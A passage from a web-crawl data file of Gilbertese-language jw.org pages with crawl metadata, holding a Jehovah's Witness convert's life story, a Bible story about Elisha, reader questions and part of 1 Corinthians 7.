bwa e aonga n aki boitin raraau. N aron ae ko kona n iangoia, e bon uruaki nanon tinau ao tibuu akekei. Ma ngke I uarereke ao I aki ota raoi n te kangaanga are e na rotakibuaka iai maiuu imwina riki n akeani anganibaiu.\nNgke I a otinako man te onnaoraki ao I a manga okira te reirei. A kakarao kamanga i aou ataei, a ineineakinai, ao ni karekareai, kioina ngke I aki kona n tuka kaiu. I rangi ni maraki n aia mwakuri n iowawa ao n aia taeka ni kainikatonga. N tokina ao I a karinaki n aia Reirei Mwauku ae te Birkenwerder, ae te tabo n reirei are a mamatu iai ataei ake a aki toamau bwain rabwataia. Kioina ngke e rangi n raroa te reirei ma mwengau, a aikoa kona tinau ma tibuu n roroko ni kawarai. I a tii nonoriia naba n tain te motirawa. N ririki ake tebwina ake imwina ao I a ikawairake n akea tinau ao tibuu i rarikiu.\nIKAWAIRAKEU MA AKEANI BAIU AO ANGANIBAIU\nI okioki n reireinai karaoani mwakuri aika bati ni kabonganai waeu. Ko kona n iangoa aron te amwarake n te kainiwaiteke ke n te buun ae ko taui n taboniwaem? I aki ataia bwa I kangaa ni karikirakea te rabakau anne. I a rabakau naba ni buratina wiu ao ni koomwa irau ni waeu. I kakatea naba kain au karaki ni waeu ngkana I maroro ma aomata. Eng, a a riki waeu bwa baiu.\nNgke I a ataeinimwaane, ao I a tatangiri warekani karaki aika taiani karioiango. N tabetai I kakataamneia ae aongkoa iai anganibaiu aika kaanga mitiin aika maiu man te kaombiuta, ake I kona iai ni karaoi bwaai ni kabane. Ngke ai 14 au ririki ao I a momoko. I namakinna ae te moko e karikirakea i nanou ae I boni konabwai, ao e kairai bwa N na iangoia ae I aki kaokoro ma aomata nako. Kaanga aron ae I kangai: 'Eng I kona naba ni karaoa anne. Aomata aika momoko bon aomata aika ikawai, e ngae naba ngkana iai anganibaia ke akea.'\nI teimatoa ni katabetabeai ao ni kakaraoa te mwakuri n ibuobuoki ibukin te botannaomata. I kaaina te kurubu ae te Free German Youth ae kaainaki irouia rooro n rikirake n te Kaawa anne, ao e boutokaaki iroun te Tautaeka, ao I a riki bwa te tia koroboki iai, ae te nakoa ae karineaki irouia kaaina. I kaaina naba te kirabu n anene teuana, I irii reirei i aon te kario, ao I irira naba aia takaakaro ni kauaaba mwauku. Imwin au mwakuri ni kataneiai, ao I a mwakuri n te kambwana teuana n ara kaawa. I nanon ikawairakeu ao I kakabonganai anganibaiu aika taian taore ibukina bwa I kan riki bwa te mwaane ae a toamau bwain rabwatana.\nI A TAUA ANA KOAUA TE BAIBARA\nN te bong teuana ngke I tabe n tataningaa te turein bwa N na nako ni mwakuri, ao e a kawarai naba temanna te mwaane. E titirakinai bwa tera au iango ngkana e a manga karikii anganibaiu ni kauaai te Atua. I aki kona n ota iai. I bon tangiria bwa a na manga riki anganibaiu, ma irou e rangi ni kangaanga kakoauaana, ao bon te bwai ae aki kona n riki! Ngkai I kakoauaa bwa akea te Atua, I a kakoauaa raoi iai ae bon akea Ngaia. Man te tai anne ao e a reke au anga n rawa nakon teuarei.\nTabeua te tai imwina ao e a kaoai raou ni mwakuri ae te aine nakoia ana utu. Ngke ti tabe ni moi kobee ao a a maroroakina naba taekan te Atua ana karo neiei, ae Iehova bon te Atua. I a tibwa ongo n te tai anne ae iai aran te Atua. (Taian Areru 83:18) Ma I kakewekewe ni kangai i nanou: 'Bon akea te Atua, n aki ongeia bwa antai arana. N na kaotia ae a kairua te koraki aei.' Ibukina bwa I aki nanokokoraki n au koaua, I a kariaia te maroro n te Baibara. Ma bon te mimi tera ngai ngke I a aki kona ni kaota koauan ae akea te Atua.\nE a moanna ni bibitaki au iango i aoni kakoauaan ae akea te Atua ngke ti a rinanoi taetae ni burabeti aika n te Baibara. A bati ana taetae ni burabeti te Atua ake a a tia ni koro bukia, e ngae ngke a koreaki bubua ma bubua ke nga ma nga te ririki imwaini koroni bukia. N te taina ngke ti maroro n te Baibara, ao ti a kabotaui baika riki n te aonnaba aei ma taetae ni burabeti ake ni Mataio mwakoro 24, n Ruka mwakoro 21, ao n 2 Timoteo mwakoro 3. N aron ae a kona baike a riki iroun te aomata ni buoka te taokita n ataa raoi te aoraki are e ituaki iai teuanne, ao ai aron naba baike a riki ake a taekinaki n taian taetae ni burabeti akanne bwa a buokai n ataia ae ti a maeka ngkai n te tai are aranaki n te Baibara bwa \"kabaneani boong.\" * Moan te kubanako ngai. I a bon nori ni matau kakoroani bukin taetae ni burabeti akanne.\nI a kakoauaa raoi iai bwa bon te koaua te baere I reiakinna. I a moana au tataro nakon Iehova ae te Atua ao ni katoka te moko, e ngae ngke bon te kinimoko ngai i nanon tebwi tabun te ririki. I teimatoa n reirei n te Baibara i nanon tao teuana te ririki. N Eberi 27 n 1986 ao I a bwabetitoaki n te aro ni karaba n te taabu n tebotebo teuana, kioina ngke a katabuakaki aia mwakuri taani Kakoaua i Tiaman Mainiku n te tai anne.\nI BUOKIIA TABEMWAANG\nKioina ngke e katabuakaki ara mwakuri, ti a bobotaki ni kurubu aika uarereke ni mwengaia taari, ao bon tii tabeman taari aika I kinaia. I kubanako ngke I a tii kariaiakaki naba iroun te Tautaeka bwa N na mwananga nako Tiaman Maeao, ae te tabo ae e kaukaki iai aia mwakuri taani Kakoaua. Ai bon tibwa te moantai aei ni maiuu are I a kaea iai te bwabwaro ae boboto kanoana i aon te Baibara, ao n noriia nga ma nga tariu ao mwaaneu n te onimaki. Anne te bwai ae rangi n okoro ae riki nakoiu.\nImwini bwakan te Berlin Wall are te oo are e bwenauaa aon Tiaman, ao e a kaukaki aia mwakuri Ana Tia Kakoaua Iehova. Akea bwa ti a inaomata n taromauria Iehova ae te Atua. I kani kabatiaa riki au tai n uarongorongo, ma e rangi ni korakora maakakin te kaitiboo ma aomata aika I aki atai tabuaiakaia. I namakinna ae I mangori ibukina bwa te mwauku ngai, ao ibukina naba ngke I ikawairake n aia tabo mwauku. Ma n 1992 ao I a kataia n uarongorongo ao ni kabanea 60 te aoa i nanon teuana te namwakaina. E nakoraoi anne ao I namakina te kimwareirei ae bati. Ngaia are I a motinnanoia bwa N nang kakaraoa anne ni katoa namwakaina, ao I reitianako i nanon tao tenua te ririki.\nI iaiangoi taeka ake n te Baibara ake a kangai: \"Antai ae mamaara ao N na aki naba ngai mamaara?\" (2 I-Korinto 11:29) E ngae ngke te mwauku ngai, ma I kona ni kabongana au iango ao bwanaau. Ngaia are I a kabanea au konaa ni buokiia tabemwaang. I kona n ota raoi n aia namakin naake iai toabuakaia, kioina ngkai akea naba ngai anganibaiu. I ataa aron te namakin ngkana ko rangi ni kani karaoa te bwai teuana ae ko bon aki kona ni karaoia. I kataia ni kaungaia aomata aika namakina anne. E karekea kukureiu buokaia tabemwaang n te aro aei.\nE BUOKAI IEHOVA NI KATOABONG\nMa I riai ni kaotia bwa bon iai naba taai ake I namakina iai te rawawata. I tii kan riki bwa te mwaane ae a toamau bwain rabwatana. I kona ni karaoi mwakuri aika bati ake a kakaraoaki ni katoabong n tii ngai, ma a anaa te tai ao te korakora ae bati riki nakon are a bon taneiai ni karaoaki iai. Aei au kibu ni koora ni katoabong: \"I konai bwaai ni kabane ni karaoi iroun teuare anganai te korakora.\" (I-Biribi 4:13) E katoabong Iehova n anganai te korakora ae I kainnanoia ibukini katiaani baika a kakaraoaki ni katoabong. I noria bwa e bon tuai mani bwara nanon Iehova irou. Anne bukina ae I aki naba kani kabwaraa nanou irouna.\nE kakabwaiaai Iehova n anganai au utu, ae te bwai ae e a kamani bua mairou mangke I uarereke ao mangke I roro n rikirake. E a reke buu ae rangi ni kan ae Elke, ae tatangira ma n atataiaomata. Irarikin anne, a a riki naba Ana Tia Kakoaua Iehova aika mirion ma mirion mwaitiia bwa tariu ao mwaaneu n te onimaki, ae te utu ae katobibia te aonnaba.\nI namakina naba te kabebeteaki n ana berita te Atua ibukin te Bwaretaiti, ike e nang kabooui iai \"bwaai ni kabane,\" n ikotaki ma anganibaiu. (Te Kaotioti 21:5) I ota riki n te berita aei ngkana I iaiangoi baike e karaoi Iesu ni menana n te aonnaba. Tii i nanon ngkoa tabeua te tekan ae e kamarurunga iai te aomata ae mate baina ao e kaoka naba taningan te mwaane ae bwabu taningana. (Mataio 12:13; Ruka 22:50, 51) I a kakoauaa raoi man ana berita Iehova ao ana kakai Iesu bwa e a kaan te tai are N nang manga riki iai bwa te mwaane ae a toamau bwain rabwatana.\nMa te kakabwaia ae te kabanea ni kakawaki boni kinaakin Iehova ae te Atua. E a riki bwa tamau, raoraou, te tia kabebetea nanou, ao korakorau. Titeboo au namakin ma te Uea are Tawita are korea ae kangai: \"Boni korakorau . . . Iehova . . . I karekea ana ibuobuoki ao e kimwareirei nanou.\" (Taian Areru 28:7) I kan taua irou te koaua aei n uaa mateu. I bon taua e ngae ngke akea baiu ma anganibaiu.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-na6-2016-nobembwa\/e-taua-ana-koaua-te-baibara-te-aomata-are-kakoaua-ngkoa-ae-akea-te-atua\/","date":"2018-01-18T22:20:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887621.26\/warc\/CC-MAIN-20180118210638-20180118230638-00671.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1900,"character_repetition_ratio":0.045,"word_repetition_ratio":0.002,"special_characters_ratio":0.227,"stopwords_ratio":0.443,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E teimatoa uean Turia ae Benataata ni buakana Iteraera. Ma e anganga te kauring te burabeti ae Eritai nakon uean Iteraera, ngaia are e a kona iai n rabanako. E a iangoia ngkanne Benataata bwa e na taua Eritai. E ongo bwa e mena Eritai n te kaawa ae Totan, ao e a kanakoa ana taanga ni buaka Turia bwa e na nako n taua Eritai.\nA roko kaain Turia i Totan n te tairiki. N te ingabong are imwina, e otinako ana tabonibai Eritai ao e a noria bwa e a otabwaniniaki te kaawa n te taanga ni buaka ae moan te bubura. E rangi ni maaku te tabonibai aei ao e takarua ni kangai: 'Eritai, tera ae ti na karaoia?' E taku Eritai nakoina: 'A bati riki aika raonira nakoia ake a raonia.' N te tai naba anne ao Iehova e kaurei matan ana tabonibai Eritai ao e noria bwa a onrake maunga ake a otabwaninia te kaawa n taian aoti ao kaa ni buaka aika ura.\nNgke a kataia tautian Turia n taua Eritai, ao e a tataro naba ni kangai: 'Iehova, taiaoka kamataki mataia.' A a rina naba n aki ataia bwa a mena ia e ngae ngke a bon taratara. E taku ngkanne Eritai nakoia tautia: 'E bure te kaawa ae kam mena iai. Rimwiai, ao N na kairingkami nakon te mwaane ae kam kakaaea.' A ririmwin Eritai ni karokoa ae a roko i Tamaria, are e mena iai uean Iteraera.\nA a rangi n oimwi ngke a ataa te tabo are a mena iai. E titirakina Eritai uean Iteraera ni kangai: 'I riai ni kamateia?' E koaua bwa e kamanena te tai aei Eritai ni kabooa mwin aia mwakuri aomata aikai ake a kataia ni kammarakia? E aki. E taku Eritai: 'Tai kamateia. Kaamwarakeia ao imwina kanakoia nakon aia tabo.' E karaoa te baka n amwarake ae bubura te uea ibukia ao imwina e kanakoia nakon aia tabo.\n\"Ti aki nanokokoraki iroun te Atua n aei, bwa ngkana ti bubutiia te bwai teuana ae boraoi ma nanona ao e bon ongo iroura.\"—1 Ioane 5:14","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/9\/burabeti-eritai\/","date":"2018-01-21T04:28:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890187.52\/warc\/CC-MAIN-20180121040927-20180121060927-00445.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":349,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.45,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Moantaeka n te Mwakuri ni Minita\nA karaoaki taamnei ibukini moanakin taiani maroro ibukin te Baibara.\nAtaakin ae ti kangaa ni moan riki bon te mwaneka ae kakawaki ibukin ataakin ae tera bukini menara ikai.\nIai kangaanga n te mare ao te utu. Iai kiingin te utu ae kakukurei n te Baibara.\nIai n te Baibara 'te rongorongo ae raoiroi ae taekan te bwai ae raoiroi riki' n aron ae kaotaki n Itaia 52:7. E kona ni buokiko ni karekea te kakukurei n am utu, te iraorao ni koaua, ao te raunnano.\nE berita te Baibara bwa ko kona ni manga noriia am utu aika tangiraki aika tia ni mate, bon i aon te aonnaba aei.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/taamnei\/moantaeka-n-te-mwakuri-ni-minita\/","date":"2018-01-19T06:32:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887746.35\/warc\/CC-MAIN-20180119045937-20180119065937-00294.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":115,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.435,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tera ae riai ni karaoaki ibukini buokaia taari ake a rotakibuaka ni boini boiarara?\nA kaaitara ma te kangaanga ae kakaiaki naake a kai rotaki ni boini boiarara. E bae ni karako te bwai ae a kona ni karaoia ni kaitibooia ma naake a a kakaboiararaia ni katoabong aika aki kinaia. Ma, iai tabeman ake a titiraki bwa tera ngke a kona ni butiiaki taari mwaane ao aine bwa a na taon nanoia mani kabonganaan roukin ao kaboiarara ni bobotaki ni Kristian, ruunga ao bwabwaro.\nNi koauana, akea te Kristian ae tangiria ni kani karekea te kangaanga nakon temanna ibukini kaeani bobotaki ni Kristian. Ti bane ni kainnanoi kaungaunga ake ti karerekei n ara bobotaki. (Ebera 10:24, 25) Ngaia are ngkana iai aika rotakibuaka ni boini boiarara n te aro are a a totonako n aki iriri bobotaki n te ekaretia, a kona ni maroro iai ma unimwaane. E ngae ngke akea taekana n te Baibara ke e aki riai karaoan tuua ibukini kabonganaaia irouia naake a iriri bobotaki n te ekaretia, ma a kona unimwaane ni karekea buokaia kaain te ekaretia bwa a na ota ni kangaanga ake a kaitaraaki iai tabemwaang. E ngae ngke a bibitaki aroni kangaanga, ma a kona unimwaane n iangoa rinanoan te kaongora rimoa ae taekinaki bwa kainnanon te ekaretia n te Botaki Ibukin te Uarongorongo ke ni katanoataa n te aro ae raoiroi. * E ngae n anne, a aki riai unimwaane ni karaoi n taai nako katanoata n aron aei. N tain ara bobotaki ao a na bae n iai aika boou ao iruwa aika kan ongora ake a aki ataa te kangaanga ao ti tangiriia bwa a na namakinna ae a butimwaeaki. A aki riai n namakinna bwa a aki butimwaeaki ngkai a kabonganai boiarara aika a rangi n riao boia.\nNgkana e riki anne ao ni kariaiakaki, e kona te rabwata n unimwaane ni bairea nneia te koraki ake a kai rotaki ni boini boiarara n te tabo teuana ae onoti i nanon te Tabo n Taromauri. N te katoto, a kona ni katekatekaaki n te ruu teuana ae ana ongo iai ao ni kakabwaiaaki iai n taai ni bobotaki. Ngkana e aki kona n reke angana ao a teimatoa n rotakibuaka iai tabeman, a kona kaain te ekaretia n rawei kabwarabwara ibukia naakai ke ni bairea aron te reitaki n te tareboon nakoia naake a titiku ni mwengaia, n aron ae e a tia naba ni karaoaki nakoia tabeman.\nN ririki aika tibwa nako, a kaungaaki taari mwaane ao aine n Ara Mwakuri ni Minita bwa a na iaiangoa kakawakin te kangaanga aei ngkana a irii bwabwaro n te aono. Ibukina bwa a kakaraoaki angiini bwabwaro n taabo aika bono ma bwaai ni kamwaitoro iai, a butiiaki taan ibuobuoki bwa a na kauarerekea kabonganaani boiarara aika matoa boia ni bobotaki aikai. E a kaumakaki riki iaiangoani kakawakina ni botaki ni bwabwaro n te aono, kioina ngkai akea bwaai ni kaboiarara n taabo ake a kabonganaaki iai. Ma e na aki iangoaki te babaire aei bwa e na riki bwa te tua, ae na kakaraoaki ibukini bobotakin te ekaretia ao e aki riai ni kabwarabwaraaki n aekan anne.\nNgkai ti maeka n te waaki ae ngkai, ti bane n rotakibuaka n rikiara ae te aki kororaoi. Ai kakaitaura ngaira ni butimwaea aia kakorakora tabemwaang ake a kakerikaaka rotakibuakara iai! E kona n riki bwa aia anganano tabeman n taon nanoia mani kabonganaan te roukin ke te boiarara, bwa a aonga tariia n irii bobotaki ni Kristian. Eng, e kairira te tangira bwa ti na karaoa anne.\nE boutokaaki ni booki aika bati n te aonnaba bwa bon iai Bontio Birato?\nE rangi ni kinaaki Bontio Birato irouia taani wawareka te Baibara ibukin nakoana ngke e motika taekan ao kamatean Iesu. (Mat. 27:1, 2, 24-26) E ngae n anne, e bati naba otin arana n rongorongoia aomata rimoa ake e maiu ma ngaiia n taai akekei. N aron ae taekinaki ni bokin te aonnaba ae The Anchor Bible Dictionary ibukin teuaei, a bati bwaai ni kakoaua ake a taekinna bwa \"e rangi ni bati ao ni bwarabwara riki rongorongona nakoia kowanan Rom i aon Iuta.\"\nE bati n okioki te ara ae Birato n ana boki te tia kororongorongo rimoa ae te I-Iutaia ae Josephus, are e taetae ni burabetini baika a kakawaki ake tenua, aika irekereke ma kangaanga ake e rinanoi Birato ngke e tautaekana Iuta. E koreaki te kaaua ni bwai ae riki iroun te tia kororongorongo temanna ae te I-Iutaia ae Philo. E kamatoaa n taekinna te tia kororongorongo temanna riki ae Tacitus ae kaain Rom, are e korei rongorongoia emberan Rom rimoa bwa e a tia Bontio Birato n tua kamatean Iesu n ana tai n tautaeka Tiberio.\nN 1961, ngke a mwakuri taan rabakau ni bwain aontano n aia tabo n taamnei kaain Rom rimoa i Kaitareia i aon Iteraera, a kunea te atibu ae matenten ae e mwakoro i aona arani Birato n te taetae n Ratine ae mataata raoi. E aki bwanin raoi te koroboki (ae oti iai) ma e iangoaki bwa e kona ni warekaki ni kangai: \"Nakoia atua aika rine, e a tia ni katabuakaki Tibererium Pontius Pilate (aei), bwa Kowanan Iuta.\" E iangoaki te kateitei bwa kaanga te tembora ae katabuakaki ibukin karinean te Embera n Rom ae Tiberio.\nE riai te aine ae te tia uarongorongoa te Tautaeka n Uea n rabuna atuna ngkana e kaira te reirei n te Baibara ao iai i rarikina te mwaane ae te tia uarongorongo?\nE taekinaki n Te Taua-n-Tantani ae bwain Turai 15, 2002-E n te kaongora ae \"Titiraki Mairouia Taani Wareware\" bwa e riai te tari te aine n rabuna atuna ngkana e kaira te reirei n te Baibara ao e mena i rarikina te mwaane ae te tia uarongorongo ae e a tia ni bwabetitoaki ke ae e tuai. N rinanoan riki te titiraki aei, e a karaoaki te bitaki ae eti raoi n te kaetieti aei.\nNgkana e iraki te tari te aine iroun te mwaane ae e a tia ni bwabetitoaki ao e kaira te reirei n te Baibara neierei, e riai n rabuna atuna. E kaota iai karinean ana babaire Iehova ibukin te kairiri n te ekaretia ni Kristian ibukina bwa e kakororaoa te mwioko ae bon taben te tari te mwaane. (1 Kor. 11:\nN te itera are teuana, ngkana e iraki nakon ana reirei n te Baibara te tari te aine iroun te tia uarongorongo ae te mwaane ae tuai ni bwabetitoaki ao tiaki buuna, e aki taekinaki n te Baibara bwa e riai n rabuna atuna. Ma a kairaki ni mataniwin nanoia taari aine tabeman bwa a na rabun atuia n taai akanne.\n^ bar. 2 Ibukin te kauring i aon aei, nora te kaongora ae \"Helping Those With MCS,\" n te Awake! ae bwain Aokati 8, 2000-E, iteraniba 8-10.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/w20150215\/titiraki-mairouia-taani-wareware\/","date":"2018-01-17T23:10:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886979.9\/warc\/CC-MAIN-20180117212700-20180117232700-00719.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1131,"character_repetition_ratio":0.058,"word_repetition_ratio":0.005,"special_characters_ratio":0.214,"stopwords_ratio":0.443,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Booki n te Baibara NORI Grid Karinanaki KOROBOKI AE TABU N TE TAETAE N EBERA Karikani Bwaai KB Te Otinako TO Nakoaia Ibonga NI Warekaia Iteraera WI Te Tua-Kaua TTK Iotua Iot Taani Motikitaeka TMT Ruta Rt 1 Tamuera 1Ta 2 Tamuera 2Ta 1 Uea 1Ue 2 Uea 2Ue 1 Rongorongo 1Ro 2 Rongorongo 2Ro Etira Etr Neemia Ne Etita Ett Iobi Iob Taian Areru TaiAre. Taeka N Rabakau TNR Te Minita TM Ana Anene Toromon AAT Itaia It Ieremia Ier Bwaebwaeti Bbt Etekiera Etk Taniera Tan Otea Ot Ioera Ioe Amota Am Obaria Ob Iona Ion Mika Mi Naum Na Abakuka Ab Tebania Tbn Akai Ak Tekaria Tek Maraki Mki KOROBOKI AE TABU N TE TAETAE NI KURIITI Mataio MAT. Mareko Mrk Ruka Rk Ioane IOA. Mwakuri Mwa I-Rom Ro 1 I-Korinto 1Ko 2 I-Korinto 2Ko I-Karatia Kar I-Ebeto Ebt I-Biribi Brb I-Korote Kor 1 I-Tetaronike 1Te 2 I-Tetaronike 2Te 1 Timoteo 1Ti 2 Timoteo 2Ti Tito Tit Biremon Brm Ebera Ebr Iakobo Iak 1 Betero 1Be 2 Betero 2Be 1 Ioane 1Io 2 Ioane 2Io 3 Ioane 3Io Iuta Iu Te Kaotioti Kao Imwaina Imwina Print Tibwaia Tibwaia TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 ) Wareka te Baibara n te Intanete Kiribati Wareka te Baibara n te Intanete https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/m\/1001061103\/univ\/art\/1001061103_univ_sqr_xl.jpg","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/","date":"2018-01-19T02:14:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887692.13\/warc\/CC-MAIN-20180119010338-20180119030338-00523.warc.gz","language":"gil","language_score":0.9972113371,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9972113370895386}","num_words":200,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.17,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n7 Ni kaineti ngkanne ma baike kam korei ao e raoiroi riki iroun te mwaane bwa e na aki ringa* te aine. 2 Ma ibukin taabangakin te wene ni bure,* ke a karekei oini buuia mwaane n tatabemania nako+ ao ke a karekei oini buuia aine n tatabemania nako.+ 3 Ke e angani buuna te bae riai* n anganaki te buu te mwaane, ao ke e karaoa naba aron anne te buu te aine nakoni buuna.+ 4 E aki taua taekan oin rabwatana te buu te aine ma e tautaekanna buuna, ao ai aron naba te buu te mwaane bwa e aki taua taekan oin rabwatana ma e tautaekanna buuna. 5 Tai rarawa i marenami n anga te baere kam riai n anga, ma tii ngkana a uaia ni boraoi nanomi i nanon te tai ae kam baireia, bwa kam aonga ni karekea ami tai n tataro ao imwina kam na manga boo, bwa e aonga n aki teimatoa ni kariringkami Tatan ao kam kaawa n aki kona n taon nanomi. 6 Ma I taekina aei bwa te kariaia nakoimi bwa kam kona ni karaoa aei, ma I aki taekinna bwa te tua. 7 Bwa a bia bane aomata ni katotonga arou. Ma e ngae n anne, a bane n toa aomata ma aia bwaintituaraoi+ mairoun te Atua, bwa temanna n te aro teuana ao are temanna n te aro teuana. 8 Ao I taku nakoia ake akea buuia ma aine ake a a tia ni mate buuia bwa e raoiroi riki ngkana a tiku n aroia n ai arou.+ 9 Ma ngkana akea irouia te taotaonakinnano, ao ke a mareaki, bwa e raoiroi riki ae a na mare nakon ae a na iraanako korakoran nanoia ni kaibwabwaru.+ 10 I anga kaetieti nakoia ake a a tia ni mareaki, ma tiaki ngai bwa bon te Uea, bwa e aki riai ni kitana buuna te aine.+ 11 Ma ngkana e kitana buuna, ao ke e tiku neiei n aki manga riki bwa buun temanna, ke e na manga iooki ma buuna. Ao e aki riai naba ni kitana buuna te mwaane.+ 12 Ma boni ngai ae I kangai nakoia ake tabemwaang, ao tiaki te Uea:+ Ngkana iai te tari te mwaane ae e aki onimaki buuna, ao e kariaia neiei bwa e na tiku ma ngaia, ao ke e tai kitana neiei. 13 Ao ngkana iai te aine ae e aki onimaki buuna, ao e kariaia teuaei bwa e na tiku ma ngaia, ao ke e tai kitana teuaei. 14 Bwa e kaitiakaki te mwaane ae aki onimaki ibukin reitakina ma buuna, ao e kaitiakaki te aine ae aki onimaki ibukin reitakina ma buuna ae onimaki, bwa a kaawa n aki itiaki natimi, ma a a itiaki ngkai. 15 Ma ngkana e baireia are e aki onimaki bwa e na nako,* ao ke e bon nako. E aki kabaeaki te tari te mwaane ke te tari te aine n aaro aikai, ma e weteingkami te Atua nakon te rau.+ 16 Bwa ko na kangaa n ataia ngkoe te aine bwa tao ko na kamaiua buum?+ Ke ko na kanga n ataia ngkoe te mwaane bwa tao ko na kamaiua buum? 17 Ma ke e tiku n arona temanna ma temanna n aron tibwangana are e anganna Iehova,* ao n aron are e weteaki nako iai iroun te Atua.+ I tua anne nakoia kaain ekaretia nako. 18 Iai te mwaane ae weteaki ae e a kaman tia ni korotobibiaki?+ Ke e tai manga riki bwa te aomata ae aki korotobibiaki. Iai te mwaane ae weteaki ae e aki korotobibiaki? Ke e tai riki bwa te aomata ae korotobibiaki.+ 19 Akea manenan te korotobibi, ao akea manenan+ te aki korotobibi, ma e manena tauan ana tua+ te Atua. 20 Ke e tiku temanna ma temanna n arona are e weteaki iai.+ 21 Ko weteaki ngke te toro ngkoe? Tai katabeaiangako iai,+ ma ngkana e kona n reke inaomatam, ao karekea. 22 Bwa ane e weteaki i nanon te Uea ngke te toro, ao e kainaomataaki+ ao e riki bwa ana aomata te Uea, ao ai arona naba, bwa ane e weteaki ngke e inaomata, ao bon te toro irouni Kristo. 23 Kam kabooaki n te bwai ae rangi ni kakawaki.+ Katoka aromi ae kam toro irouia aomata. 24 Taari, ke e tiku temanna ma temanna n arona are e weteaki iai i matan te Atua. 25 Ni kaineti ngkanne ma te koraki aika tuai n iein,* akea irou te tua mairoun te Uea, ma I kaota au iango+ n aron te aomata ae I a tia n nanoangaaki iroun te Uea, ao e kona n onimakinaki au taeka. 26 Mangaia ae I taku bwa e raoiroi riki n tiku n arona te aomata kioina ngkai ti a mena n taai aika karawawata. 27 Ko bae iroun neiere buum? Katoka ukoukoran te raure.+ Ko a inaomata mairoun neiere buum? Katoka kakaaeani buum temanna. 28 Ma ngkana ko karekea buum ao akea am bure iai. Ao ngkana e karekea buuna te aomata ae tuai n iein, ao akea naba ana bure. Ma e na bon reke rawawatan te rabwata irouia ake a karekeia buuia, ma I kani kamanoingkami mai iai. 29 Ao I tuangingkami taari bwa e a kimototo te tai ngkai.+ Ni moa mangkai ao ke a riki ake iai buuia bwa kaanga akea buuia, 30 ao ake a tang bwa kaanga a aki tang, ao ake a kimwareirei bwa kaanga a aki kimwareirei, ao ake a boobwai bwa kaanga a aki bwaibwai, 31 ao ake a kabonganai bwain aon te aba bwa kaanga a aki kabatiai kabonganaaia, bwa a bibitaki baika riiriki n te aonnaba. 32 Ni koauana, I tangiringkami bwa kam na aki tabeaianga. E tabeaianga te mwaane ae akea buuna ni baika irekereke ma te beku iroun te Uea, bwa e na kangaa ni kakukureia te Uea. 33 Ma e tabeaianga te mwaane ae iai buuna ni bwain aon te aba,+ bwa e na kangaa ni kakukureia buuna, 34 ao e a tikimaurekaki. Ma te aine ae akea buuna, ke ae e tuai ni boo ma te mwaane, e tabeaianga n ana bwai te Uea,+ bwa e aonga n itiaki n rabwatana ao nanona.* Ma te aine ae iai buuna, e tabeaianga ni bwain aon te aba, bwa e na kangaa ni kakukureia buuna. 35 Ma I taekina aei nakoimi ibukini kabwaiami ao tiaki n ae kaanga N na taui aromi,* ma I kani kairingkami nakoni karaoan ae tamaroa, ao ae e na kateimatoaingkami naba ni beku iroun te Uea n aki katabetabeaki. 36 Ma ngkana iai ae e taku bwa e nang karaoa ae aki riai ngkai e tiku n arona n akea buuna,* ao ngkana e a tia ni bwakanako ana bongi n roro n rikirake ao e raoiroi riki irouna bwa e na karekea buuna, ao ke e karaoa ae e tangiria ao e aki bure iai. Ke a mareaki.+ 37 Ma ngkana iai ae e rauaki nanona ao e aki kainnanoa aei, bwa e taua aron ana kantaninga ao ni motikia mai nanona bwa e na tiku n arona ae akea buuna,* ao e karaoa ae raoiroi.+ 38 Mangaia ae e kabwaia ane e karekea buuna ni mare, ma e kabwaia riki 